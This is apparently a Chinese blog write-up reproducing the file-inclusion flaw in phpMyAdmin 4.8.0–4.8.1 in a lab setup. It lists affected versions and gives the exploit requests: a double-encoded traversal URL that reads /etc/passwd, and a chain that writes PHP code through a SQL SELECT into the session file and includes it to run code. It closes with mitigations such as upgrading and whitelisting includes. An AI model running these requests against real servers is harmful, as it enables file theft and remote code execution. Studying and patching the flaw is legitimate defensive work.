提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
本地文件包含(LFI):当服务器开启 allow_url_include 选项时,就可以通过php的某些特性函数include()、require()、include_once()、require_once() 利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
远程代码执行,远程命令执行漏洞:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
影响版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
漏洞复现
访问 http://your-ip:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd
可见 /etc/passwd 被读取,说明文件包含漏洞存在。
利用方式
执行 select “<?php phpinfo();?>”
查看自己的sessionid(cookie中phpMyAdmin的值)
进行拼接命令,成功查看了phpinfo
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_046be0a847fc1d5174c0daba20dc8005
防御措施
1.升级phpmyadmin版本
2.如果需要文件包含,应对包含的文件进行限制,使用白名单方式或设置可包含目录
3.对用户输入进行严格检查,参数中不允许出现…/之类的目录跳转符
4.严格检査include类的文件包含函数中的参数是否外界可控